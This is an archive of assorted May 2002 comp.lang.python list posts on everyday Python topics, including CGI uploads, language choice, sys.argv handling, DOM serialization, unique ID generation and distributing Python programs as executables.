apologies in > advance. > You're right, the fact that it's a Python CGI makes no difference. > I am attempting to upload large files (think 500 MB) through a web > form using a Python CGI process. > !!!! > It is easy enough for my program to get the file handle of the > user-submitted file, and then write this out in chunks to the server. > But there are two major problems with this. > > 1. Apache first uploads the entire file itself, consuming all > available memory, before handing over control to the CGI process. Why > it does this is beyond me, since I am not hip to server internals. > Apache could at least use a restricted amount of memory to do the > upload, but this, unfortunately, is not the case. Bad things happen > when memory gets low. > > 2. The HTTP connection times out, so the entire file upload is lost. > Are you sure it's the HTTP connection that times out, or is the server timing the process out (because it's including the file transfer time as a part of the CGI processing time)? The reason I ask is because you may be able to modify the latter. However there's no guarantee that the client won't have problems being sufficiently responsive with a 0.5GB upload. I'm not that familiar with Apache internals, but I do know that the server expects to have the data ready for the CGI process before it starts it up. The file content is simply encoded as part of a form/multipart response from the client. > I imagine the answer to this problem is "don't use HTTP", but I do > need a seemless solution from a web application. > That's very tricky indeed. And I'm sure you're aware it isn't what HTTP was designed for... > Any pointers? I am sure this is a know problem. Hopefully there's a > known solution! > Can't think of one, but fortunately this doesn't mean that one doesn't exist. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From tundra at tundraware.com Thu May 2 01:40:06 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Thu, 02 May 2002 05:40:06 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> Message-ID: <3CD0CFBC.35F221AE@tundraware.com> Andrew McNamara wrote: > > >I have a lot of experience in ANSI C/C++, I want to learn a new > >language and which it can help me in the work. > >I just want to clear which(python or perl) is more comfort for me? > This question comes up with painful regularity on virtually every language newsgroup in existence. The answers are almost always the same. I think we need a meta-answer which address the question once-and-for-all for any language extant or future. I thus humbly submit the following as a candidate.... HOW TO PICK A PROGRAMMING LANGUAGE ---------------------------------- Tim Daneliuk tundra at tundraware.com May 1, 2002 Let L be the set of all programming languages ever conceived past, present, and future. The meta-question, M, thus becomes: Among all members of L, which is the "best" and thus, which should I learn and use? A variant of M, let's call it M', is: Is L(x) "better" than L(y)? Let P be the purpose for which you wish to learn a "best" language. Let A be the answer to M or M' with condition P as a constraint. A is thus the following set: 1) P = "I am interested in the design of languages and/or language theory." Learn as many members of L as time permits. Do not pollute L with your own ideas until you *really* understand what you are doing and what has already been done. Then do so only if you are convinced you can materially add to the state-of-the-art with original and useful work. The world does not need another language just so you can prove that you understand LR(1) grammars. Implement a subset of at least one existing language yourself to see just how hard this is to do well. 2) P = "My current language is too slow/big in its appointed task." Most of the time, these problems have a lot more to do with poor programming and algorithm/data structure design than they do the language. *Really* get under the covers of your programming style and design approach before you abandon the language you currently know best. Read Bentley's "Programming Pearls." Learn to use a profiler. Consider optimizations which merely replace the slow/big portions of the code with something written in a naturally faster/smaller language. 3) P = "I have a specialty problem domain which is not well addressed by a general purpose programming language." Research what has already been done. You can often find close enough matches to your problem within other problem domains to get something useful done. If there really is nothing useful out there, strongly consider using one of the extant scripting languages to build a "little language" of your own which addresses your problem area. If all else fails, ignore 1) above, and invent your own language, but keep it as small and simple as possible, or you'll spend less time on your chosen problem area and most of your time maintaining your new language. 4) P = "I need to become/stay employable." Survey common practice in your profession of choice and determine the most common operating systems, GUIs, and languages already in use and the probable evolution of these items in the next several years. Based on this information, you should select one procedural language, one object language, one scripting language, and, possibly, one assembly language which will comprise your core skill set. In selecting these, also consider the availability of supporting tools like standard libraries, debuggers, language-sensitive editors, profilers, and so on. If you have some choice of languages, always prefer those that share a common link format and have compatible inter-language calling APIs. If it comes down to a tie, pick the older language because it will almost always have fewer bugs. 5) P = "I want to write 'portable' code." Warning: Computer Science Heresy follows. I've already been burned at the stake in this matter, so put your matches away. Code 'portability' is overrated. Way more important is the portability of your *programming skills*. Languages come and go (well, they never really *go*, do they), but a good programmer expresses themselves well in pretty much any language. This comes with time, experience, reading other people's very good code and doing it wrong over and over again. The most portable language in the world can't help you if you don't understand algorithms, data structures, object decomposition, and how to trade off between them. Writing truly 'portable' code has as much to do with your understanding of the underlying operating environments (hardware, OS, network, I/O, and GUI) as it does with the language in question. There are, of course, cases where portability *is* very important. For example, if you are writing commercial software which must run on lots of different platforms for your company to succeed. In that case, first see if you can find cross-platform library support so you don't have to do it all yourself. 6) P = "I want to make lots of money." Quit programming. Become a rock star, actor, or corrupt politician. The odds of getting rich in these fields, however slight, are probably better than in programming. 7) P = "I've heard that OO is *the* way to do things, so I want the best OO language." OO is one way to crack a problem. It is not the only way. More importantly, it is often not a *good* way. A solid OO language should be in your bag of tricks, but it's not the only thing you will need. 8) P = "I've heard that AI is *the* way to do things, so I want the best AI language." See 7) above. 9) P = "I want to produce code faster." Type faster. It doesn't matter what you type because if speed is your goal you'll just become expert at writing buggy code, so why bother with syntax and semantics at all? *Correct* code is always produced by people who are thoughtful and deliberate about what they are doing. Oh, and in the long run, they're almost always faster getting things done too. 10) P = "I want the <gender/species> of choice to like me and be impressed enough to go out with me." See 6) above. 11) P = "The system I must use prescribes a vendor-defined language and tool set. I want other choices." See if there are Open Source or alternative vendor choices for that platform. If not, master the languages/tools on that platform then broaden your horizons as a matter of professional pride and employability. See 4) above. 12) P = "I'm very nerdy. All I like to do is code on as many different platforms with as many different languages as I can. My Resume' is 14 pages long. I have not been out of the house since 1982. Please help." Get a life. Read some poetry, or better still, write some (without using curly braces or semicolons). Learn a musical instrument that does not require electricity in any form. Get a low-tech hobby like gardening or sewing. You are an Addict - I feel your pain. As a recovery strategy, consider volunteering your skills to a cause that's worth your time and effort and which requires you to interact with people who have absolutely no clue how a computer works. Try not to be a jerk when the local minister does not grasp the elegance of your finely tuned LaTeX macro for generating the Sunday Bulletin. Do something good for your body and your spirit. I strongly recommend at least one high-activity sport (channel surfing does not qualify) and shooting semi-automatic handguns (at paper targets in a legal manner) as excellent mind-clearing tools. Collect something other than computer manuals. 13) P = "I want to be famous." Rob a bank and get caught. OR Write a *ton* of really useful code and then give it away. 14) P = "I'm bored, I need a new challenge." If you already know more than 5 languages, consider joining the Navy Seals - they are very busy at the moment and are always looking for an Adventurer just like you. If you are over 19 and this is therefore impractical, get married and raise children. You will never be bored. Tim Daneliuk "Bach, Sig-Sauer, Gibson Guitars, Python, & My Table Saw Made Me What I Am Today." -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From skip at pobox.com Fri May 17 16:26:01 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 17 May 2002 15:26:01 -0500 Subject: might compatibility become a *goal*? In-Reply-To: <GCEDKONBLEFPPADDJCOEAECFDDAA.whisper@oz.net> References: <1021652963.460304@cswreg.cos.agilent.com> <GCEDKONBLEFPPADDJCOEAECFDDAA.whisper@oz.net> Message-ID: <15589.26457.32097.236026@12-248-41-177.client.attbi.com> David> Even better and more challenging is something that can refactor David> the code on the fly - that most certainly is left as an exercise David> for the reader! :-) Probably not quite what you were thinking of, but: http://sourceforge.net/projects/bicyclerepair/ -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From logiplexsoftware at earthlink.net Wed May 1 17:36:56 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 1 May 2002 14:36:56 -0700 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <JhYz8.35360$n4.7480745@newsc.telia.net> References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <mailman.1020212102.22356.python-list@python.org> <slrnad0avq.ca9.huaiyu@gauss.almadan.ibm.com> <mailman.1020283874.5708.python-list@python.org> <JhYz8.35360$n4.7480745@newsc.telia.net> Message-ID: <20020501143656.7f7082ab.logiplexsoftware@earthlink.net> On Wed, 01 May 2002 20:32:41 GMT Fredrik Lundh wrote: > Cliff Wells wrote: > > > More than once she's threatened to use me as a "scratch monkey", > > whatever that means. > > google is your friend. One of my best. I looked it up some time ago, actually (even before I knew Laura was involved). I just thought it sounded a bit funnier that way. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From aleax at aleax.it Sun May 5 11:56:18 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 15:56:18 GMT Subject: MySQLdb confusion References: <ab3gmc$4n0$1@newsg2.svr.pol.co.uk> Message-ID: <CCcB8.6334$zW3.168345@news1.tin.it> Duncan Smith wrote: > I'm probably missing something (a brain?), but can anyone suggest a reason > why I don't seem to be able to drop a (currently empty) database? Python Do you have the needed permissions? Alex From python at rcn.com Wed May 15 01:56:33 2002 From: python at rcn.com (Raymond Hettinger) Date: Wed, 15 May 2002 01:56:33 -0400 Subject: __getitem__, __getslice__ question for python 2.2 References: <3CDD412D.3000805@erols.com> <YcfD8.4294$5J3.2128@nwrddc01.gnilink.net> Message-ID: <abstd5$ov$1@bob.news.rcn.net> "logistix" <logstx at bellatlantic.net> wrote > Also, some people don't like to use isinstance, but I'm not sure how else to > tell if you got an int. if x != int(x): print 'expected an integer' Raymond Hettinger From michael.ingram at echostar.com Wed May 29 10:58:04 2002 From: michael.ingram at echostar.com (Michael Ingram) Date: 29 May 2002 07:58:04 -0700 Subject: Win32uiHostGlue References: <ccb95f87.0205281038.4540a657@posting.google.com> <3CF40E85.7050407@skippinet.com.au> Message-ID: <ccb95f87.0205290658.5fe31218@posting.google.com> OK, I'm starting to see things a bit now. Much obliged, Mike Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<3CF40E85.7050407 at skippinet.com.au>... > > The idea is that your application will "bootstrap" itself. For example, > your application's InitInstance() method may choose to create additional > windows. Pythonwin, for example, creates the interactive window. > > In general, your C++ MFC code shouldn't need to do much Python work, but > instead your MFC C++ code should generally be called from Python. Thus, > your C++ code is exposed as an extension module, and your bootstrapped > Python code can then make whatever calls it needs via this module. > > Mark. From dalke at dalkescientific.com Fri May 24 23:06:40 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 24 May 2002 21:06:40 -0600 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> <3CEEEE42.60D47318@engcorp.com> Message-ID: <acmv7e$55t$1@slb7.atl.mindspring.net> Peter Hansen: >Doesn't "to cite" mean simply to acknowledge a source of information? "to cite" in context of an academic publication means two things. First, the acknowledgement must be in the form acceptable by the publication. For example, the MLA has a long list of descriptions of accepted ways to format different sources. Second, and perhaps more importantly for academics, it means the specific information source, if there is more than one. For example, in one project I worked on we said The authors request that any published work which utilizes VMD please include the following reference: Humphrey, W., Dalke, A. and Schulten, K., `VMD - Visual Molecular Dynamics', J. Molec. Graphics 1996, 14.1, 33-38 In this way we could track which people published papers using our work. (There are services which most research libraries provide to do this type of citation searches.) We used this partially to justify our funding. Like it or not, many academic careers are affected by "impact factors" which are a measure of importance of a paper, based partially on the number of citations to the paper. A researcher would prefer seeing N cites to one paper rather than N cites to M papers, because it suggests that paper had a higher impact. As to how to cite Python... I don't know. Most things I've seen (I just did a search) just point to python.org . One paper I have uses Mark Lutz's "Programming Python" book, but I wouldn't regard that as the proper citation. Andrew dalke at dalkescientific.com From kragen at pobox.com Sat May 25 14:09:41 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 14:09:41 -0400 Subject: symbolic python References: <3CEFAE4C.38A8022B@doc.ic.ac.uk> Message-ID: <83off4jdzu.fsf@panacea.canonical.org> Benjamin Tai <bt98 at doc.ic.ac.uk> writes: > Is there any chance to print out the code inside the function_body? > > When I receive a method object, would it be possible to get into the > function_body, and dynamically change the method's behaviour? Yes, see bytecodehacks. From starx at pacbell.net Sun May 5 17:33:30 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 5 May 2002 21:33:30 GMT Subject: OT: mail-news gateway question References: <slrnadauei.9uf.grante@tuxtop.visi.com> <ab41gs$btu$1@panix3.panix.com> Message-ID: <Xns92059442A1441RASXnewsDFE1@130.133.1.4> Aahz || Sun 05 May 2002 12:34:52p: > Note that c.l.py is a bidirectional gateway; many people post directly > to the newsgroup. People who post to python-list should all have the > same NNTP-Posting-Host. You can tell gatewayed e-mail by looking for > the X-Mailman-Version header (or any of several other obvious headers). You can also tell it in a threaded newsreader (xnews at least), because the indentation will be like: [Thread started by NG person] [Response from NG person] [Response from NG person]* [Rsponse from NG person]** [Response from NG person] [Response from ML person to article marked *] [Respnse form NG person] [Further response from ML person to above] [Response from ML person to atricle marked **[ And so forth. ML people always get dumped into level-0 threading for me. -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From timr at probo.com Wed May 22 01:28:33 2002 From: timr at probo.com (Tim Roberts) Date: Tue, 21 May 2002 22:28:33 -0700 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <abnqdd$8bf$1@slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0@posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> <acavng$pcq$1@nyheter.chalmers.se> Message-ID: <et9meuk6bv61d3tbin6lbnt15pf1704tuo@4ax.com> jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) wrote: > >Software on the other hand is build out of ideas that do not come in >standard shapes and it needs to connect to human minds, which are hard >to mould to any desired shape. Exactly. And as long as we continue to think about software in that way, we will not be able to create vast systems reliably. One human being, no matter how clever or skilled, simply cannot fully grasp the software required to run a global telephone system, or the full complement of software needed to control an interplanetary cruise chip, for example. I grant that it won't be nearly as much fun to be a programmer when putting together software becomes as complicated as connecting together a component stereo system, but we have to get to that point eventually, or we will simply outgrow our own abilities. >Just like it required the development of technology that exceeded humans >in the amount of power output to replace menial labour and technology >that exceeded human precision and human speed in order to replace human >manufacted goods creation, it is going to require an artificial intelligence >that is superior to human intelligence to turn software creation into >an industrial process. Yes, I would agree with that. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From donn at u.washington.edu Wed May 29 16:44:16 2002 From: donn at u.washington.edu (Donn Cave) Date: 29 May 2002 20:44:16 GMT Subject: Why no open(f, "w").write()? References: <ackri2$lhn$1@news.urz.uni-heidelberg.de> <slrnafac45.12v.msoulier@pmerd071.ca.nortel.com> Message-ID: <ad3ej0$12lc$1@nntp6.u.washington.edu> Quoth "Michael P. Soulier" <msoulier at nortelnetworks.com_.nospam>: | On 24 May 2002 07:53:38 GMT, Markus Demleitner | <msdemlei at tucana.cl.uni-heidelberg.de> wrote: |> |> The Jython docs state that |> open("some.name", "w").write(stuff) |> is bad programming practice (and indeed claim that in Jython, |> the above construct leaves some.name empty). | | I can't speak for Jython, but in CPython 2.1, it works fine. Yes, of course. The problem is that Java doesn't support the timely finalization we enjoy in C Python, so for the Java implemention you have to explicitly invoke the close() that would implicitly be done during finalization. That causes the buffer to be flushed to the actual disk file. I assume finalization will eventually occur in any case, if only at program exit, so this would only be an issue if the file is needed before then. I bet this has already been said, if so my apologies for the waste of bandwidth. Donn Cave, donn at u.washington.edu From miracle at paradise.net.nz Fri May 3 00:56:51 2002 From: miracle at paradise.net.nz (Matthew Sherborne) Date: Fri, 3 May 2002 16:56:51 +1200 Subject: Low level python References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> <20020503001113.A1330@ibook.distro.conectiva> Message-ID: <004801c1f25e$f0416630$d50a0b0a@JONAH> There's this WinDriver thing. It runs in kernel mode, and communicates with your user mode code through pipes (ioctl). So all the python will be running in user mode. And the same code can run on all platforms (OS2, mac, solaris, *nix, win95-xp + winCE)! :) Sound more sane now? Only 3Mb in user memory. A bit iffy I think. I know people have written drivers in VB, which probably uses the same amount of ram. There's no performance issue, I've got a python app that controls the mouse working perfectly. I want to go with Python because with got a whole suite of python libraries and applications built around this hardware. (It usually does more than touchscreen, but we want a version we can ship that's just touchscreen). If I could write the driver in python too, we could just use the same code base as everything else. Otherwaise I'll have to maintain two code bases :( Sorry for the gripe. I'm practicing my speech to my bosses ;) Matthew Sherborne From tom at studentuniverse.com Fri May 3 13:45:55 2002 From: tom at studentuniverse.com (Russo, Tom) Date: Fri, 3 May 2002 13:45:55 -0400 Subject: Low level python Message-ID: <AC310CEA8E38D611BE2F00D0B74A0DD6073051@sumailb01.studentuniverse.com> > > Anyone know how I can reduce the memory footprint of Python? > > I've been playing with this for some time. One of the results of > the resarch was that inline documentation is responsible for 10% > of python's footprint. I've developed a patch to make those strings > optional at compile time. The idea was well accepted, but for some > reason the patch was not applied yet. Maybe I'm misunderstanding you, but isn't this what the -OO option does? _t From martin at v.loewis.de Fri May 17 02:55:37 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 17 May 2002 08:55:37 +0200 Subject: serializing DOM object References: <ff7E8.123$Ec.17778@newsread2.prod.itd.earthlink.net> <m3bsbijwzu.fsf@mira.informatik.hu-berlin.de> <A50F8.3395$Vq6.294855@newsread2.prod.itd.earthlink.net> Message-ID: <m33cwrntzq.fsf@mira.informatik.hu-berlin.de> "Billy Ng" <kwokng at earthlink.net> writes: > Do you mean I shouls serialize the XML? If so, what is the point to freeze > the state of String? I'm not sure I understand this question. What String, and who said it would be frozen? When you want to serialize a DOM document, I assume you do so to be able to terminate the application, and later recreate the DOM document from the serialized data. The best way to serialize a DOM object is to generate the XML text that was originally parsed to create the DOM object; after all, the DOM object and the XML document are isomorphic. Regards, Martin From max at alcyone.com Fri May 31 19:16:27 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 31 May 2002 16:16:27 -0700 Subject: Generating unique numbers? References: <3CF7EBC8.4080802@verio.net> Message-ID: <3CF8044B.A5CE18D0@alcyone.com> VanL wrote: > Is there a good algorithm for generating unique numbers > (ints, specifically) that can be used as object identifiers? > > I am discounding the obvious newid += 1 because I will need > to merge different sets, and while I may have some number > overlap, using a simple count for each object would > guarantee that I have the maximum number of clashes. > > Specifically, I will be using these numbers as dictionary keys. It really depends on what you need them for and how devastating a collision is. If they're, say, being generated by different contexts (say, servers) the you can assign each context a number and have each server increment sequentially when creating IDs, and combine them in some reasonable way (e.g., (contextID << 24) | localID). If there are an arbitrary number of contexts, then you're probably better off with an ID being, say, a string, or at least a 2-tuple of the context name and the local ID. If you're interested in obscurity, then you can run it through an md5 hash. If you just need to spout off unique IDs at random, then something like an md5 hash of the machine name, process ID, time, and anything else you can think of might be in order. In the general case with no further clarifications and only 32 bits, you ultimately will have collisions, so the question really boils down to how disastrous a collision would be and what you need to do in that case. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From cliechti at gmx.net Sat May 11 11:48:36 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 17:48:36 +0200 Subject: [Newbie Question] Matching directory content with variable References: <h1ajba.ni5.ln@news.marcus1.de> Message-ID: <Xns920BB578E1612cliechtigmxnet@62.2.16.82> Marcus Klein <marcus1 at marcus1.de> wrote in news:h1ajba.ni5.ln at news.marcus1.de: > Hi out there, > > I am trying to match a directory content with a variable to avoid > overwriting an existing file and it does not work. > > Maybe someone knows why ? > > --8<-- > for f in TOGET: > print "getting remote file ", f > fname = PATHTOFILE + f you should use os.path.join to make paths... > lfiles = os.listdir(PATHTOFILE) listdir gives back a list of strings and you should call it with a path to directory not with a file. what you realy want is os.path.exists(). > lfile = re.compile(f, re.M).match(lfiles, 1) you don't need to use re.compile for that. there is re.match() compile is useful when you store the compiled regex in a variable when you use it often. the exception is because you feed a list to it and not a string. use the appropriate functions (i.e. exists) from os.path and you don't have to worry. > if lfile: > print "Warning: File exists locally" > exit(5) > -->8-- > > leads to > > --8<-- > Traceback (most recent call last): > File "py/getftp.py", line 33, in ? > lfile = re.compile(f, re.M).match(lfiles, 1) > TypeError: expected string or buffer > -->8-- you should use the functions from os and os.path to manupulate paths and files. they save you from issues with '\' and '/', they work cross platform and save you from a lot of trouble anyway. chris -- Chris <cliechti at gmx.net> From davebutlerREMOVE at hotmail.com Fri May 31 09:48:36 2002 From: davebutlerREMOVE at hotmail.com (Dave Butler) Date: Fri, 31 May 2002 13:48:36 GMT Subject: Persistent Directory Change? Message-ID: <UaLJ8.12059$W04.578566@twister.rdc-kc.rr.com> I have a need for the current directory from a Python script to persist after the script ends. Is this possible? A simple approach such as -------------------- import os print os.getcwd() os.chdir(r'f:\temp') print os.getcwd() -------------------- does not work. It seems the directory change occurs in the Python process, but not in the command prompt which called it. I am using Python 2.1 under Windows 2000. Any suggestions for accomplishing this? Dave From Julia.Bell at jpl.nasa.gov Wed May 8 12:43:13 2002 From: Julia.Bell at jpl.nasa.gov (Julia Bell) Date: Wed, 08 May 2002 09:43:13 -0700 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <Xns9208A72BD3C2Dduncanrcpcouk@127.0.0.1> Message-ID: <3CD955A1.43AE9120@jpl.nasa.gov> Thanks for all of the advice. I'm converting from perl, so I'm not used to thinking about the difference between a string and a number in general. (We are planning to upgrade our version of python in the next few months.) Now that I know I have to worry about type, what is the best way to determine if a string is convertible to a number (integer or float)? If I use string.atoi(variable) or string.atof(variable), but variable cannot be converted to an integer or float, I get an error. I'm just learning about catching exceptions, so I think I could figure out how to catch the error and do something appropriate if that's the recommended approach. But, is there a better way (perform the test before trying to do the conversion)? Julia Bell Duncan Booth wrote: > Julia Bell <Julia.Bell at jpl.nasa.gov> wrote in > news:3CD9376E.BEF43213 at jpl.nasa.gov: > > > Using Python 1.3 on an HP (UNIX) (to write my first Python script): > If you can get that upgraded to something a bit more recent you will be > doing yourself a favour. > > > How can I define orbits to equal the value of the command line argument > > and later use that variable to simply represent the number? > > The program arguments in sys.argv are all strings. You can compare a number > with a string, but you won't get the result you expect. What you have to do > is to convert the argument to an integer: > > #!/usr/local2/bin/python > import sys > count = 0 > orbits = int(sys.argv[1]) > while count < orbits: > print count, orbits > count = count + 1 > if count > 100: # use this to prevent the infinite loop > sys.exit ( 1 ) > > A useful tip when weird things happen is to use the repr function when > printing the values: > > >>> count = 1 > >>> orbits = '16' > >>> print count, orbits > 1 16 > >>> print repr(count), repr(orbits) > 1 '16' > >>> > In this case the quotes would have shown that you were comparing a number > to a string. > > -- > Duncan Booth duncan at rcp.co.uk > int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" > "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From brueckd at tbye.com Mon May 20 13:43:14 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Mon, 20 May 2002 10:43:14 -0700 (PDT) Subject: might compatibility become a *goal*? In-Reply-To: <1021906333.382953@cswreg.cos.agilent.com> Message-ID: <Pine.LNX.4.44.0205201036290.5673-100000@ns0.tbye.com> On Mon, 20 May 2002, Greg Weeks wrote: > brueckd at tbye.com wrote: > : You can make and achieve that goal now: don't upgrade. > > This would be an option only if A) I never shared code with others, B) > others never shared code with me, C) my current Python verision was > bug-free, and D) Python developers promised to port my old version to the > new machines and operating systems I'll be using in the future. I covered this in my previous reply; a combination of "you get what you pay for" and "you can't have your cake and eat it too". In a nutshell: the Python team appears to value backwards compatibility as well as valuing other things, but obviously they have to sometimes make the best decision they can (sometimes breakage is good in the long run). There are plenty of ways for you to get closer to what you want, but if none of them include you stepping up and lending a hand (e.g. backporting bug fixes for all to enjoy), it hardly seems reasonable to complain about the Python team's allocation of scarce resources (at the very, very least you could cite specific examples of breakage and how you would have handled it better, but even that's not very helpful). -Dave From kdahlhaus at yahoo.com Wed May 29 12:48:26 2002 From: kdahlhaus at yahoo.com (Kevin Dahlhausen) Date: 29 May 2002 09:48:26 -0700 Subject: PySlang for Python 2.2.1? Message-ID: <283adf56.0205290848.46816a35@posting.google.com> Does anybody have a compiled version of this? Woody, an outliner based on python, requires this and I'd like to get it back up running. thanks. From djc at object-craft.com.au Sat May 25 00:59:20 2002 From: djc at object-craft.com.au (Dave Cole) Date: 25 May 2002 14:59:20 +1000 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> <mailman.1022297561.14994.python-list@python.org> Message-ID: <m3bsb4lt5j.fsf@ferret.object-craft.com.au> >>>>> "Tim" == Tim Churches <tchur at optushome.com.au> writes: Tim> Ross Lazarus wrote: >> How should the Python language be cited in an academic >> publication? >> >> For example, in >> http://bioinformatics.oupjournals.org/cgi/reprint/17/8/756.pdf the >> author mentions http://www.python.org in the text rather than >> formally citing the primary source - or is that the appropriate >> primary source and recommended attribution? >> >> I found "Copyright 1991-1995 by Stichting Mathematisch Centrum, >> Amsterdam, The Netherlands" at >> http://www.python.org/doc/Copyright.html, but that doesn't seem as >> complete or helpful as I'd like for a refereed journal. Tim> I cited Python thus: Tim> [16] G. van Rossum and F.L. Drake (eds), Python Reference Manual, Tim> PythonLabs, Virginia, USA, 2001. Available at Tim> http://www.python.org Tim> and Numerical Python thus: Tim> [17] D. Ascher, P.F. Dubois, K. Hinsen, J. Hugunin and Tim> T. Oliphant, Numerical Python, Lawrence Livermore National Tim> Laboratory, Livermore, California, USA, 2001. Available at Tim> http://www.pfdubois.com/numpy/ Tim> in a paper which will appear shortly in Computer Methods and Tim> Programs in Biomedicine, and the editors seemed satisfied. I can't wait! - Dave -- http://www.object-craft.com.au From ak at silmarill.org Tue May 21 15:58:54 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Tue, 21 May 2002 19:58:54 GMT Subject: Destructor References: <Pine.LNX.4.33.0205211409560.28461-100000@vampire.cs.utexas.edu> Message-ID: <slrnaeldbs.o9.ak@ak.silmarill.org> In article <Pine.LNX.4.33.0205211409560.28461-100000 at vampire.cs.utexas.edu>, Rajat Chopra wrote: > > Hey Guys, > > I have a very quick and basic question -- but I was just when exactly a > Destructor is invoked? Do you have to delete the object (ex: del OBJECT ) > or is it enough to say OBJECT = None ??? > > Thanks, > > Rajat > Well, let's see.. >>> class t: ... def __del__(self): ... print "Deleting" ... >>> a = t() >>> del a Deleting >>> a = t() >>> a = None Deleting -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From BgPorter at NOartlogicSPAM.com Mon May 6 16:52:51 2002 From: BgPorter at NOartlogicSPAM.com (Brett g Porter) Date: Mon, 06 May 2002 20:52:51 GMT Subject: Python vs. Perl, which is better to learn? References: <df30afd4.0204292111.31e5914a@posting.google.com> <chris-4E0B1A.01281230042002@corp.supernews.com> <f0fd5987.0204300105.51529004@posting.google.com> <chris-FA912A.00104606052002@corp.supernews.com> <3CD60E05.D9D8C1A6@engcorp.com> <m3lmaxuacu.fsf@chvatal.cbbrowne.com> <chris-90CE30.01535006052002@corp.supernews.com> <uddpv8p1faofa5@corp.supernews.com> <Pine.SOL.4.30.0205062138200.23130-100000@mimosa.csv.warwick.ac.uk> Message-ID: <D2CB8.92415$v7.7413601@bin6.nnrp.aus1.giganews.com> "John J. Lee" <jjl at pobox.com> wrote in message news:Pine.SOL.4.30.0205062138200.23130-100000 at mimosa.csv.warwick.ac.uk... > On Mon, 6 May 2002, DeepBleu wrote: > [...] > > I can not understand how anyone can even recommend Perl, a beat up clunky > > ugly language, for a project in a modern setting. > > Perl has masses of free library code. If there's reusable code in Perl > and not in Python, it makes sense to use Perl. Admittedly, that didn't > stop me porting a package from Perl recently, just so I could use Python > instead... Doesn't that depend on other factors? If the Python code is likely to be significantly more maintainable than 'equivalent' Perl code, there's a margin where it makes more sense to write fresh code in Python (taking a hit up front) instead of paying more to maintain that code down the road. If it's one-shot disposable code and you're equally proficient in both, you may be right. I can't remember writing much disposable code that hasn't outlived its original planned lifespan, though... From irmen at NOSPAMREMOVETHISxs4all.nl Thu May 2 19:02:24 2002 From: irmen at NOSPAMREMOVETHISxs4all.nl (Irmen de Jong) Date: Fri, 3 May 2002 01:02:24 +0200 Subject: Message queueing References: <mailman.1020339605.19145.python-list@python.org> Message-ID: <aasgi0$gj0$1@news1.xs4all.nl> > Thanks for your reply. I have looked at Pyro, but since the system is going > to be very loosely coupled I will need features such as guaranteed message > delivery that queues offer. This means that if a producer creates a message [...] > Out of what I have read on Pyro, it does not go as far as this (although it > will automatically try to reconnect when a connection is broken) - pleas > correct me if I am wrong. No, you're right. Pyro has no QoS concerning the messages passed over the network. There is no persistent store. If the receiving end is down for some reason, either (1) the caller gets a connection error or (2) your message is discarded (when using the Event Server). It looks like your needs can't be fulfilled with Pyro. Pity :-) Irmen de Jong From sholden at holdenweb.com Thu May 30 08:52:28 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 08:52:28 -0400 Subject: Python program distribution revisited References: <MPG.175c24a5538e5d7a989687@news.direcpc.com> <Xns921BD43F66B56cliechtigmxnet@62.2.16.82> Message-ID: <XjpJ8.48983$%u2.28695@atlpnn01.usenetserver.com> "Chris Liechti" <cliechti at gmx.net> wrote ... > Mark C <mchalkley at notthispart.direcway.com> wrote : > > I looked at starting to use Python instead of Perl for custom data > > conversion programs a couple years ago, but discarded the idea because > > of the difficulty in distributing standalone Python apps to production > > machines. > > > > Have there been any significant improvements to Python in this regard in > > the interim? Is this an area ActiveState has addressed, for example, as > > they did with their Perl PDK? I'd really like to use Python in the > > future, but the ability to easily produce an exe that's (relatively) > > small in size, and requires no additional files, is an absolute > > necessity. > > there is McMillans Installer an py2exe. both are realy easy to use. > > both normaly create an exe containing all the scripts, but the additional > DLLs are separate in the same directory. thats verry well suited for most > cases. > if you absolutely need one file, either Installer can produce a self > extracting, executing and cleaning up archive or you take freeze (or > similar) and link all the libs staticaly. the later can go from beeing very > easy (python only + simple extensions) to beeing very hard when many > external libs are used (like GUIs etc) > Also note that Python is probably around where Perl was ten years ago in terms of distribution, but growing fast in popularity. Fairly soon now (as opposed top RSN :-) you should be able to rely on new computers having Python support built in. 